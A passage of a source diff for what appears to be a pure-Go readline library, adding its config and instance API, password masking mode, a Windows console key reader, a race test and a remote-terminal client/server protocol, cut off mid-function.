||||
if err := cfg.Init(); err != nil {
|
||||
return op.cfg, err
|
||||
}
|
||||
old := op.cfg
|
||||
op.cfg = cfg
|
||||
op.SetPrompt(cfg.Prompt)
|
||||
op.SetMaskRune(cfg.MaskRune)
|
||||
op.buf.SetConfig(cfg)
|
||||
width := op.cfg.FuncGetWidth()
|
||||
|
||||
if cfg.opHistory == nil {
|
||||
op.SetHistoryPath(cfg.HistoryFile)
|
||||
cfg.opHistory = op.history
|
||||
cfg.opSearch = newOpSearch(op.buf.w, op.buf, op.history, cfg, width)
|
||||
}
|
||||
op.history = cfg.opHistory
|
||||
|
||||
// SetHistoryPath will close opHistory which already exists
|
||||
// so if we use it next time, we need to reopen it by `InitHistory()`
|
||||
op.history.Init()
|
||||
|
||||
if op.cfg.AutoComplete != nil {
|
||||
op.opCompleter = newOpCompleter(op.buf.w, op, width)
|
||||
}
|
||||
|
||||
op.opSearch = cfg.opSearch
|
||||
return old, nil
|
||||
}
|
||||
|
||||
func (o *Operation) ResetHistory() {
|
||||
o.history.Reset()
|
||||
}
|
||||
|
||||
// if err is not nil, it just mean it fail to write to file
|
||||
// other things goes fine.
|
||||
func (o *Operation) SaveHistory(content string) error {
|
||||
return o.history.New([]rune(content))
|
||||
}
|
||||
|
||||
func (o *Operation) Refresh() {
|
||||
if o.t.IsReading() {
|
||||
o.buf.Refresh(nil)
|
||||
}
|
||||
}
|
||||
|
||||
func (o *Operation) Clean() {
|
||||
o.buf.Clean()
|
||||
}
|
||||
|
||||
func FuncListener(f func(line []rune, pos int, key rune) (newLine []rune, newPos int, ok bool)) Listener {
|
||||
return &DumpListener{f: f}
|
||||
}
|
||||
|
||||
type DumpListener struct {
|
||||
f func(line []rune, pos int, key rune) (newLine []rune, newPos int, ok bool)
|
||||
}
|
||||
|
||||
func (d *DumpListener) OnChange(line []rune, pos int, key rune) (newLine []rune, newPos int, ok bool) {
|
||||
return d.f(line, pos, key)
|
||||
}
|
||||
|
||||
type Listener interface {
|
||||
OnChange(line []rune, pos int, key rune) (newLine []rune, newPos int, ok bool)
|
||||
}
|
||||
|
||||
type Painter interface {
|
||||
Paint(line []rune, pos int) []rune
|
||||
}
|
||||
|
||||
type defaultPainter struct{}
|
||||
|
||||
func (p *defaultPainter) Paint(line []rune, _ int) []rune {
|
||||
return line
|
||||
}
|
||||
@@ -0,0 +1,33 @@
|
||||
package readline
|
||||
|
||||
type opPassword struct {
|
||||
o *Operation
|
||||
backupCfg *Config
|
||||
}
|
||||
|
||||
func newOpPassword(o *Operation) *opPassword {
|
||||
return &opPassword{o: o}
|
||||
}
|
||||
|
||||
func (o *opPassword) ExitPasswordMode() {
|
||||
o.o.SetConfig(o.backupCfg)
|
||||
o.backupCfg = nil
|
||||
}
|
||||
|
||||
func (o *opPassword) EnterPasswordMode(cfg *Config) (err error) {
|
||||
o.backupCfg, err = o.o.SetConfig(cfg)
|
||||
return
|
||||
}
|
||||
|
||||
func (o *opPassword) PasswordConfig() *Config {
|
||||
return &Config{
|
||||
EnableMask: true,
|
||||
InterruptPrompt: "\n",
|
||||
EOFPrompt: "\n",
|
||||
HistoryLimit: -1,
|
||||
Painter: &defaultPainter{},
|
||||
|
||||
Stdout: o.o.cfg.Stdout,
|
||||
Stderr: o.o.cfg.Stderr,
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,125 @@
|
||||
// +build windows
|
||||
|
||||
package readline
|
||||
|
||||
import "unsafe"
|
||||
|
||||
const (
|
||||
VK_CANCEL = 0x03
|
||||
VK_BACK = 0x08
|
||||
VK_TAB = 0x09
|
||||
VK_RETURN = 0x0D
|
||||
VK_SHIFT = 0x10
|
||||
VK_CONTROL = 0x11
|
||||
VK_MENU = 0x12
|
||||
VK_ESCAPE = 0x1B
|
||||
VK_LEFT = 0x25
|
||||
VK_UP = 0x26
|
||||
VK_RIGHT = 0x27
|
||||
VK_DOWN = 0x28
|
||||
VK_DELETE = 0x2E
|
||||
VK_LSHIFT = 0xA0
|
||||
VK_RSHIFT = 0xA1
|
||||
VK_LCONTROL = 0xA2
|
||||
VK_RCONTROL = 0xA3
|
||||
)
|
||||
|
||||
// RawReader translate input record to ANSI escape sequence.
|
||||
// To provides same behavior as unix terminal.
|
||||
type RawReader struct {
|
||||
ctrlKey bool
|
||||
altKey bool
|
||||
}
|
||||
|
||||
func NewRawReader() *RawReader {
|
||||
r := new(RawReader)
|
||||
return r
|
||||
}
|
||||
|
||||
// only process one action in one read
|
||||
func (r *RawReader) Read(buf []byte) (int, error) {
|
||||
ir := new(_INPUT_RECORD)
|
||||
var read int
|
||||
var err error
|
||||
next:
|
||||
err = kernel.ReadConsoleInputW(stdin,
|
||||
uintptr(unsafe.Pointer(ir)),
|
||||
1,
|
||||
uintptr(unsafe.Pointer(&read)),
|
||||
)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
if ir.EventType != EVENT_KEY {
|
||||
goto next
|
||||
}
|
||||
ker := (*_KEY_EVENT_RECORD)(unsafe.Pointer(&ir.Event[0]))
|
||||
if ker.bKeyDown == 0 { // keyup
|
||||
if r.ctrlKey || r.altKey {
|
||||
switch ker.wVirtualKeyCode {
|
||||
case VK_RCONTROL, VK_LCONTROL:
|
||||
r.ctrlKey = false
|
||||
case VK_MENU: //alt
|
||||
r.altKey = false
|
||||
}
|
||||
}
|
||||
goto next
|
||||
}
|
||||
|
||||
if ker.unicodeChar == 0 {
|
||||
var target rune
|
||||
switch ker.wVirtualKeyCode {
|
||||
case VK_RCONTROL, VK_LCONTROL:
|
||||
r.ctrlKey = true
|
||||
case VK_MENU: //alt
|
||||
r.altKey = true
|
||||
case VK_LEFT:
|
||||
target = CharBackward
|
||||
case VK_RIGHT:
|
||||
target = CharForward
|
||||
case VK_UP:
|
||||
target = CharPrev
|
||||
case VK_DOWN:
|
||||
target = CharNext
|
||||
}
|
||||
if target != 0 {
|
||||
return r.write(buf, target)
|
||||
}
|
||||
goto next
|
||||
}
|
||||
char := rune(ker.unicodeChar)
|
||||
if r.ctrlKey {
|
||||
switch char {
|
||||
case 'A':
|
||||
char = CharLineStart
|
||||
case 'E':
|
||||
char = CharLineEnd
|
||||
case 'R':
|
||||
char = CharBckSearch
|
||||
case 'S':
|
||||
char = CharFwdSearch
|
||||
}
|
||||
} else if r.altKey {
|
||||
switch char {
|
||||
case VK_BACK:
|
||||
char = CharBackspace
|
||||
}
|
||||
return r.writeEsc(buf, char)
|
||||
}
|
||||
return r.write(buf, char)
|
||||
}
|
||||
|
||||
func (r *RawReader) writeEsc(b []byte, char rune) (int, error) {
|
||||
b[0] = '\033'
|
||||
n := copy(b[1:], []byte(string(char)))
|
||||
return n + 1, nil
|
||||
}
|
||||
|
||||
func (r *RawReader) write(b []byte, char rune) (int, error) {
|
||||
n := copy(b, []byte(string(char)))
|
||||
return n, nil
|
||||
}
|
||||
|
||||
func (r *RawReader) Close() error {
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,338 @@
|
||||
// Readline is a pure go implementation for GNU-Readline kind library.
|
||||
//
|
||||
// example:
|
||||
// rl, err := readline.New("> ")
|
||||
// if err != nil {
|
||||
// panic(err)
|
||||
// }
|
||||
// defer rl.Close()
|
||||
//
|
||||
// for {
|
||||
// line, err := rl.Readline()
|
||||
// if err != nil { // io.EOF
|
||||
// break
|
||||
// }
|
||||
// println(line)
|
||||
// }
|
||||
//
|
||||
package readline
|
||||
|
||||
import "io"
|
||||
|
||||
type Instance struct {
|
||||
Config *Config
|
||||
Terminal *Terminal
|
||||
Operation *Operation
|
||||
}
|
||||
|
||||
type Config struct {
|
||||
// prompt supports ANSI escape sequence, so we can color some characters even in windows
|
||||
Prompt string
|
||||
|
||||
// readline will persist historys to file where HistoryFile specified
|
||||
HistoryFile string
|
||||
// specify the max length of historys, it's 500 by default, set it to -1 to disable history
|
||||
HistoryLimit int
|
||||
DisableAutoSaveHistory bool
|
||||
// enable case-insensitive history searching
|
||||
HistorySearchFold bool
|
||||
|
||||
// AutoCompleter will called once user press TAB
|
||||
AutoComplete AutoCompleter
|
||||
|
||||
// Any key press will pass to Listener
|
||||
// NOTE: Listener will be triggered by (nil, 0, 0) immediately
|
||||
Listener Listener
|
||||
|
||||
Painter Painter
|
||||
|
||||
// If VimMode is true, readline will in vim.insert mode by default
|
||||
VimMode bool
|
||||
|
||||
InterruptPrompt string
|
||||
EOFPrompt string
|
||||
|
||||
FuncGetWidth func() int
|
||||
|
||||
Stdin io.ReadCloser
|
||||
StdinWriter io.Writer
|
||||
Stdout io.Writer
|
||||
Stderr io.Writer
|
||||
|
||||
EnableMask bool
|
||||
MaskRune rune
|
||||
|
||||
// erase the editing line after user submited it
|
||||
// it use in IM usually.
|
||||
UniqueEditLine bool
|
||||
|
||||
// filter input runes (may be used to disable CtrlZ or for translating some keys to different actions)
|
||||
// -> output = new (translated) rune and true/false if continue with processing this one
|
||||
FuncFilterInputRune func(rune) (rune, bool)
|
||||
|
||||
// force use interactive even stdout is not a tty
|
||||
FuncIsTerminal func() bool
|
||||
FuncMakeRaw func() error
|
||||
FuncExitRaw func() error
|
||||
FuncOnWidthChanged func(func())
|
||||
ForceUseInteractive bool
|
||||
ForcePrint bool
|
||||
// private fields
|
||||
inited bool
|
||||
opHistory *opHistory
|
||||
opSearch *opSearch
|
||||
}
|
||||
|
||||
func (c *Config) useInteractive() bool {
|
||||
if c.ForceUseInteractive {
|
||||
return true
|
||||
}
|
||||
return c.FuncIsTerminal()
|
||||
}
|
||||
|
||||
func (c *Config) Init() error {
|
||||
if c.inited {
|
||||
return nil
|
||||
}
|
||||
c.inited = true
|
||||
if c.Stdin == nil {
|
||||
c.Stdin = NewCancelableStdin(Stdin)
|
||||
}
|
||||
|
||||
c.Stdin, c.StdinWriter = NewFillableStdin(c.Stdin)
|
||||
|
||||
if c.Stdout == nil {
|
||||
c.Stdout = Stdout
|
||||
}
|
||||
if c.Stderr == nil {
|
||||
c.Stderr = Stderr
|
||||
}
|
||||
if c.HistoryLimit == 0 {
|
||||
c.HistoryLimit = 500
|
||||
}
|
||||
|
||||
if c.InterruptPrompt == "" {
|
||||
c.InterruptPrompt = "^C"
|
||||
} else if c.InterruptPrompt == "\n" {
|
||||
c.InterruptPrompt = ""
|
||||
}
|
||||
if c.EOFPrompt == "" {
|
||||
c.EOFPrompt = "^D"
|
||||
} else if c.EOFPrompt == "\n" {
|
||||
c.EOFPrompt = ""
|
||||
}
|
||||
|
||||
if c.AutoComplete == nil {
|
||||
c.AutoComplete = &TabCompleter{}
|
||||
}
|
||||
if c.FuncGetWidth == nil {
|
||||
c.FuncGetWidth = GetScreenWidth
|
||||
}
|
||||
if c.FuncIsTerminal == nil {
|
||||
c.FuncIsTerminal = DefaultIsTerminal
|
||||
}
|
||||
rm := new(RawMode)
|
||||
if c.FuncMakeRaw == nil {
|
||||
c.FuncMakeRaw = rm.Enter
|
||||
}
|
||||
if c.FuncExitRaw == nil {
|
||||
c.FuncExitRaw = rm.Exit
|
||||
}
|
||||
if c.FuncOnWidthChanged == nil {
|
||||
c.FuncOnWidthChanged = DefaultOnWidthChanged
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (c Config) Clone() *Config {
|
||||
c.opHistory = nil
|
||||
c.opSearch = nil
|
||||
return &c
|
||||
}
|
||||
|
||||
func (c *Config) SetListener(f func(line []rune, pos int, key rune) (newLine []rune, newPos int, ok bool)) {
|
||||
c.Listener = FuncListener(f)
|
||||
}
|
||||
|
||||
func (c *Config) SetPainter(p Painter) {
|
||||
c.Painter = p
|
||||
}
|
||||
|
||||
func NewEx(cfg *Config) (*Instance, error) {
|
||||
t, err := NewTerminal(cfg)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
rl := t.Readline()
|
||||
if cfg.Painter == nil {
|
||||
cfg.Painter = &defaultPainter{}
|
||||
}
|
||||
return &Instance{
|
||||
Config: cfg,
|
||||
Terminal: t,
|
||||
Operation: rl,
|
||||
}, nil
|
||||
}
|
||||
|
||||
func New(prompt string) (*Instance, error) {
|
||||
return NewEx(&Config{Prompt: prompt})
|
||||
}
|
||||
|
||||
func (i *Instance) ResetHistory() {
|
||||
i.Operation.ResetHistory()
|
||||
}
|
||||
|
||||
func (i *Instance) SetPrompt(s string) {
|
||||
i.Operation.SetPrompt(s)
|
||||
}
|
||||
|
||||
func (i *Instance) SetMaskRune(r rune) {
|
||||
i.Operation.SetMaskRune(r)
|
||||
}
|
||||
|
||||
// change history persistence in runtime
|
||||
func (i *Instance) SetHistoryPath(p string) {
|
||||
i.Operation.SetHistoryPath(p)
|
||||
}
|
||||
|
||||
// readline will refresh automatic when write through Stdout()
|
||||
func (i *Instance) Stdout() io.Writer {
|
||||
return i.Operation.Stdout()
|
||||
}
|
||||
|
||||
// readline will refresh automatic when write through Stdout()
|
||||
func (i *Instance) Stderr() io.Writer {
|
||||
return i.Operation.Stderr()
|
||||
}
|
||||
|
||||
// switch VimMode in runtime
|
||||
func (i *Instance) SetVimMode(on bool) {
|
||||
i.Operation.SetVimMode(on)
|
||||
}
|
||||
|
||||
func (i *Instance) IsVimMode() bool {
|
||||
return i.Operation.IsEnableVimMode()
|
||||
}
|
||||
|
||||
func (i *Instance) GenPasswordConfig() *Config {
|
||||
return i.Operation.GenPasswordConfig()
|
||||
}
|
||||
|
||||
// we can generate a config by `i.GenPasswordConfig()`
|
||||
func (i *Instance) ReadPasswordWithConfig(cfg *Config) ([]byte, error) {
|
||||
return i.Operation.PasswordWithConfig(cfg)
|
||||
}
|
||||
|
||||
func (i *Instance) ReadPasswordEx(prompt string, l Listener) ([]byte, error) {
|
||||
return i.Operation.PasswordEx(prompt, l)
|
||||
}
|
||||
|
||||
func (i *Instance) ReadPassword(prompt string) ([]byte, error) {
|
||||
return i.Operation.Password(prompt)
|
||||
}
|
||||
|
||||
type Result struct {
|
||||
Line string
|
||||
Error error
|
||||
}
|
||||
|
||||
func (l *Result) CanContinue() bool {
|
||||
return len(l.Line) != 0 && l.Error == ErrInterrupt
|
||||
}
|
||||
|
||||
func (l *Result) CanBreak() bool {
|
||||
return !l.CanContinue() && l.Error != nil
|
||||
}
|
||||
|
||||
func (i *Instance) Line() *Result {
|
||||
ret, err := i.Readline()
|
||||
return &Result{ret, err}
|
||||
}
|
||||
|
||||
func (i *Instance) ReadlineEx() (string, error) {
|
||||
return i.Operation.StringEx()
|
||||
}
|
||||
|
||||
// err is one of (nil, io.EOF, readline.ErrInterrupt)
|
||||
func (i *Instance) Readline() (string, error) {
|
||||
return i.Operation.String()
|
||||
}
|
||||
|
||||
func (i *Instance) ReadlineWithDefault(what string) (string, error) {
|
||||
i.Operation.SetBuffer(what)
|
||||
return i.Operation.String()
|
||||
}
|
||||
|
||||
func (i *Instance) SaveHistory(content string) error {
|
||||
return i.Operation.SaveHistory(content)
|
||||
}
|
||||
|
||||
// same as readline
|
||||
func (i *Instance) ReadSlice() ([]byte, error) {
|
||||
return i.Operation.Slice()
|
||||
}
|
||||
|
||||
// we must make sure that call Close() before process exit.
|
||||
func (i *Instance) Close() error {
|
||||
i.Config.Stdin.Close()
|
||||
i.Operation.Close()
|
||||
if err := i.Terminal.Close(); err != nil {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// call CaptureExitSignal when you want readline exit gracefully.
|
||||
func (i *Instance) CaptureExitSignal() {
|
||||
CaptureExitSignal(func() {
|
||||
i.Close()
|
||||
})
|
||||
}
|
||||
|
||||
func (i *Instance) Clean() {
|
||||
i.Operation.Clean()
|
||||
}
|
||||
|
||||
func (i *Instance) Write(b []byte) (int, error) {
|
||||
return i.Stdout().Write(b)
|
||||
}
|
||||
|
||||
// WriteStdin prefill the next Stdin fetch
|
||||
// Next time you call ReadLine() this value will be writen before the user input
|
||||
// ie :
|
||||
// i := readline.New()
|
||||
// i.WriteStdin([]byte("test"))
|
||||
// _, _= i.Readline()
|
||||
//
|
||||
// gives
|
||||
//
|
||||
// > test[cursor]
|
||||
func (i *Instance) WriteStdin(val []byte) (int, error) {
|
||||
return i.Terminal.WriteStdin(val)
|
||||
}
|
||||
|
||||
func (i *Instance) SetConfig(cfg *Config) *Config {
|
||||
if i.Config == cfg {
|
||||
return cfg
|
||||
}
|
||||
old := i.Config
|
||||
i.Config = cfg
|
||||
i.Operation.SetConfig(cfg)
|
||||
i.Terminal.SetConfig(cfg)
|
||||
return old
|
||||
}
|
||||
|
||||
func (i *Instance) Refresh() {
|
||||
i.Operation.Refresh()
|
||||
}
|
||||
|
||||
// HistoryDisable the save of the commands into the history
|
||||
func (i *Instance) HistoryDisable() {
|
||||
i.Operation.history.Disable()
|
||||
}
|
||||
|
||||
// HistoryEnable the save of the commands into the history (default on)
|
||||
func (i *Instance) HistoryEnable() {
|
||||
i.Operation.history.Enable()
|
||||
}
|
||||
@@ -0,0 +1,27 @@
|
||||
package readline
|
||||
|
||||
import (
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
func TestRace(t *testing.T) {
|
||||
rl, err := NewEx(&Config{})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
return
|
||||
}
|
||||
|
||||
go func() {
|
||||
for range time.Tick(time.Millisecond) {
|
||||
rl.SetPrompt("hello")
|
||||
}
|
||||
}()
|
||||
|
||||
go func() {
|
||||
time.Sleep(100 * time.Millisecond)
|
||||
rl.Close()
|
||||
}()
|
||||
|
||||
rl.Readline()
|
||||
}
|
||||
@@ -0,0 +1,475 @@
|
||||
package readline
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"io"
|
||||
"net"
|
||||
"os"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
)
|
||||
|
||||
type MsgType int16
|
||||
|
||||
const (
|
||||
T_DATA = MsgType(iota)
|
||||
T_WIDTH
|
||||
T_WIDTH_REPORT
|
||||
T_ISTTY_REPORT
|
||||
T_RAW
|
||||
T_ERAW // exit raw
|
||||
T_EOF
|
||||
)
|
||||
|
||||
type RemoteSvr struct {
|
||||
eof int32
|
||||
closed int32
|
||||
width int32
|
||||
reciveChan chan struct{}
|
||||
writeChan chan *writeCtx
|
||||
conn net.Conn
|
||||
isTerminal bool
|
||||
funcWidthChan func()
|
||||
stopChan chan struct{}
|
||||
|
||||
dataBufM sync.Mutex
|
||||
dataBuf bytes.Buffer
|
||||
}
|
||||
|
||||
type writeReply struct {
|
||||
n int
|
||||
err error
|
||||
}
|
||||
|
||||
type writeCtx struct {
|
||||
msg *Message
|
||||
reply chan *writeReply
|
||||
}
|
||||
|
||||
func newWriteCtx(msg *Message) *writeCtx {
|
||||
return &writeCtx{
|
||||
msg: msg,
|
||||
reply: make(chan *writeReply),
|
||||
}
|
||||
}
|
||||
|
||||
func NewRemoteSvr(conn net.Conn) (*RemoteSvr, error) {
|
||||
rs := &RemoteSvr{
|
||||
width: -1,
|
||||
conn: conn,
|
||||
writeChan: make(chan *writeCtx),
|
||||
reciveChan: make(chan struct{}),
|
||||
stopChan: make(chan struct{}),
|
||||
}
|
||||
buf := bufio.NewReader(rs.conn)
|
||||
|
||||
if err := rs.init(buf); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
go rs.readLoop(buf)
|
||||
go rs.writeLoop()
|
||||
return rs, nil
|
||||
}
|
||||
|
||||
func (r *RemoteSvr) init(buf *bufio.Reader) error {
|
||||
m, err := ReadMessage(buf)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
// receive isTerminal
|
||||
if m.Type != T_ISTTY_REPORT {
|
||||
return fmt.Errorf("unexpected init message")
|
||||
}
|
||||
r.GotIsTerminal(m.Data)
|
||||
|
||||
// receive width
|
||||
m, err = ReadMessage(buf)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if m.Type != T_WIDTH_REPORT {
|
||||
return fmt.Errorf("unexpected init message")
|
||||
}
|
||||
r.GotReportWidth(m.Data)
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (r *RemoteSvr) HandleConfig(cfg *Config) {
|
||||
cfg.Stderr = r
|
||||
cfg.Stdout = r
|
||||
cfg.Stdin = r
|
||||
cfg.FuncExitRaw = r.ExitRawMode
|
||||
cfg.FuncIsTerminal = r.IsTerminal
|
||||
cfg.FuncMakeRaw = r.EnterRawMode
|
||||
cfg.FuncExitRaw = r.ExitRawMode
|
||||
cfg.FuncGetWidth = r.GetWidth
|
||||
cfg.FuncOnWidthChanged = func(f func()) {
|
||||
r.funcWidthChan = f
|
||||
}
|
||||
}
|
||||
|
||||
func (r *RemoteSvr) IsTerminal() bool {
|
||||
return r.isTerminal
|
||||
}
|
||||
|
||||
func (r *RemoteSvr) checkEOF() error {
|
||||
if atomic.LoadInt32(&r.eof) == 1 {
|
||||
return io.EOF
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (r *RemoteSvr) Read(b []byte) (int, error) {
|
||||
r.dataBufM.Lock()
|
||||
n, err := r.dataBuf.Read(b)
|
||||
r.dataBufM.Unlock()
|
||||
if n == 0 {
|
||||
if err := r.checkEOF(); err != nil {
|
||||
return 0, err
|
||||
}
|
||||
}
|
||||
|
||||
if n == 0 && err == io.EOF {
|
||||
<-r.reciveChan
|
||||
r.dataBufM.Lock()
|
||||
n, err = r.dataBuf.Read(b)
|
||||
r.dataBufM.Unlock()
|
||||
}
|
||||
if n == 0 {
|
||||
if err := r.checkEOF(); err != nil {
|
||||
return 0, err
|
||||
}
|
||||
}
|
||||
|
||||
return n, err
|
||||
}
|
||||
|
||||
func (r *RemoteSvr) writeMsg(m *Message) error {
|
||||
ctx := newWriteCtx(m)
|
||||
r.writeChan <- ctx
|
||||
reply := <-ctx.reply
|
||||
return reply.err
|
||||
}
|
||||
|
||||
func (r *RemoteSvr) Write(b []byte) (int, error) {
|
||||
ctx := newWriteCtx(NewMessage(T_DATA, b))
|
||||
r.writeChan <- ctx
|
||||
reply := <-ctx.reply
|
||||
return reply.n, reply.err
|
||||
}
|
||||
|
||||
func (r *RemoteSvr) EnterRawMode() error {
|
||||
return r.writeMsg(NewMessage(T_RAW, nil))
|
||||
}
|
||||
|
||||
func (r *RemoteSvr) ExitRawMode() error {
|
||||
return r.writeMsg(NewMessage(T_ERAW, nil))
|
||||
}
|
||||
|
||||
func (r *RemoteSvr) writeLoop() {
|
||||
defer r.Close()
|
||||
|
||||
loop:
|
||||
for {
|
||||
select {
|
||||
case ctx, ok := <-r.writeChan:
|
||||
if !ok {
|
||||
break
|
||||
}
|
||||
n, err := ctx.msg.WriteTo(r.conn)
|
||||
ctx.reply <- &writeReply{n, err}
|
||||
case <-r.stopChan:
|
||||
break loop
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (r *RemoteSvr) Close() error {
|
||||
if atomic.CompareAndSwapInt32(&r.closed, 0, 1) {
|
||||
close(r.stopChan)
|
||||
r.conn.Close()
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (r *RemoteSvr) readLoop(buf *bufio.Reader) {
|
||||
defer r.Close()
|
||||
for {
|
||||
m, err := ReadMessage(buf)
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
switch m.Type {
|
||||
case T_EOF:
|
||||
atomic.StoreInt32(&r.eof, 1)
|
||||
select {
|
||||
case r.reciveChan <- struct{}{}:
|
||||
default:
|
||||
}
|
||||
case T_DATA:
|
||||
r.dataBufM.Lock()
|
||||
r.dataBuf.Write(m.Data)
|
||||
r.dataBufM.Unlock()
|
||||
select {
|
||||
case r.reciveChan <- struct{}{}:
|
||||
default:
|
||||
}
|
||||
case T_WIDTH_REPORT:
|
||||
r.GotReportWidth(m.Data)
|
||||
case T_ISTTY_REPORT:
|
||||
r.GotIsTerminal(m.Data)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (r *RemoteSvr) GotIsTerminal(data []byte) {
|
||||
if binary.BigEndian.Uint16(data) == 0 {
|
||||
r.isTerminal = false
|
||||
} else {
|
||||
r.isTerminal = true
|
||||
}
|
||||
}
|
||||
|
||||
func (r *RemoteSvr) GotReportWidth(data []byte) {
|
||||
atomic.StoreInt32(&r.width, int32(binary.BigEndian.Uint16(data)))
|
||||
if r.funcWidthChan != nil {
|
||||
r.funcWidthChan()
|
||||
}
|
||||
}
|
||||
|
||||
func (r *RemoteSvr) GetWidth() int {
|
||||
return int(atomic.LoadInt32(&r.width))
|
||||
}
|
||||
|
||||
// -----------------------------------------------------------------------------
|
||||
|
||||
type Message struct {
|
||||
Type MsgType
|
||||
Data []byte
|
||||
}
|
||||
|
||||
func ReadMessage(r io.Reader) (*Message, error) {
|
||||
m := new(Message)
|
||||
var length int32
|
||||
if err := binary.Read(r, binary.BigEndian, &length); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if err := binary.Read(r, binary.BigEndian, &m.Type); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
m.Data = make([]byte, int(length)-2)
|
||||
if _, err := io.ReadFull(r, m.Data); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return m, nil
|
||||
}
|
||||
|
||||
func NewMessage(t MsgType, data []byte) *Message {
|
||||
return &Message{t, data}
|
||||
}
|
||||
|
||||
func (m *Message) WriteTo(w io.Writer) (int, error) {
|
||||
buf := bytes.NewBuffer(make([]byte, 0, len(m.Data)+2+4))
|
||||
binary.Write(buf, binary.BigEndian, int32(len(m.Data)+2))
|
||||
binary.Write(buf, binary.BigEndian, m.Type)
|
||||
buf.Write(m.Data)
|
||||
n, err := buf.WriteTo(w)
|
||||
return int(n), err
|
||||
}
|
||||
|
||||
// -----------------------------------------------------------------------------
|
||||
|
||||
type RemoteCli struct {
|
||||
conn net.Conn
|
||||
raw RawMode
|
||||
receiveChan chan struct{}
|
||||
inited int32
|
||||
isTerminal *bool
|
||||
|
||||
data bytes.Buffer
|
||||
dataM sync.Mutex
|
||||
}
|
||||
|
||||
func NewRemoteCli(conn net.Conn) (*RemoteCli, error) {
|
||||
r := &RemoteCli{
|
||||
conn: conn,
|
||||
receiveChan: make(chan struct{}),
|
||||
}
|
||||
return r, nil
|
||||
}
|
||||
|
||||
func (r *RemoteCli) MarkIsTerminal(is bool) {
|
||||
r.isTerminal = &is
|
||||
}
|
||||
|
||||
func (r *RemoteCli) init() error {
|
||||
if !atomic.CompareAndSwapInt32(&r.inited, 0, 1) {
|
||||
return nil
|
||||
}
|
||||
|
||||
if err := r.reportIsTerminal(); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if err := r.reportWidth(); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// register sig for width changed
|
||||
DefaultOnWidthChanged(func() {
|
||||
r.reportWidth()
|
||||
})
|
||||
return nil
|
||||
}
|
||||
|
||||
func (r *RemoteCli) writeMsg(m *Message) error {
|
||||
r.dataM.Lock()
|
||||
_, err := m.WriteTo(r.conn)
|
||||
r.dataM.Unlock()
|
||||
return err
|
||||
}
|
||||
|
||||
func (r *RemoteCli) Write(b []byte) (int, error) {
|
||||
m := NewMessage(T_DATA, b)
|
||||
r.dataM.Lock()
|
||||
_, err := m.WriteTo(r.conn)
|
||||
r.dataM.Unlock()
|
||||
return len(b), err
|
||||
}
|
||||
|
||||
func (r *RemoteCli) reportWidth() error {
|
||||
screenWidth := GetScreenWidth()
|
||||
data := make([]byte, 2)
|
||||
binary.BigEndian.PutUint16(data, uint16(screenWidth))
|
||||
msg := NewMessage(T_WIDTH_REPORT, data)
|
||||
|
||||
if err := r.writeMsg(msg); err != nil {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (r *RemoteCli) reportIsTerminal() error {
|
||||
var isTerminal bool
|
||||
if r.isTerminal != nil {
|
||||
isTerminal = *r.isTerminal
|
||||
} else {
|
||||
isTerminal = DefaultIsTerminal()
|
||||
}
|
||||
data := make([]byte, 2)
|
||||
if isTerminal {
|
||||
binary.BigEndian.PutUint16(data, 1)
|
||||
} else {
|
||||
binary.BigEndian.PutUint16(data, 0)
|
||||
}
|
||||
msg := NewMessage(T_ISTTY_REPORT, data)
|
||||
if err := r.writeMsg(msg); err != nil {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (r *RemoteCli) readLoop() {
|
||||
buf := bufio.NewReader(r.conn)
|
||||
for {
|
||||
msg, err := ReadMessage(buf)
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
switch msg.Type {
|
||||
case T_ERAW:
|
||||
r.raw.Exit()
|
||||
case T_RAW:
|
||||
r.raw.Enter()
|
||||
case T_DATA:
|
||||
os.Stdout.Write(msg.Data)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (r *RemoteCli) ServeBy(source io.Reader) error {
|
||||
if err := r.init(); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
go func() {
|
||||
defer r.Close()
|
||||
for {
|
||||
n, _ := io.Copy(r, source)
|
||||
if n == 0 {
|
||||
break
|
||||
}
|
||||
}
|
||||
}()
|
||||
defer r.raw.Exit()
|
||||
r.readLoop()
|
||||
return nil
|
||||
}
|
||||
|
||||
func (r *RemoteCli) Close() {
|
||||
r.writeMsg(NewMessage(T_EOF, nil))
|
||||
}
|
||||
|
||||
func (r *RemoteCli) Serve() error {
|
||||
return r.ServeBy(os.Stdin)
|
||||
}
|
||||
|
||||
func ListenRemote(n, addr string, cfg *Config, h func(*Instance), onListen ...func(net.Listener) error) error {
|
||||
ln, err := net.Listen(n, addr)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if len(onListen) > 0 {
|
||||
if err := onListen[0](ln); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
for {
|
||||
conn, err := ln.Accept()
|
||||
if err != nil {
|
||||
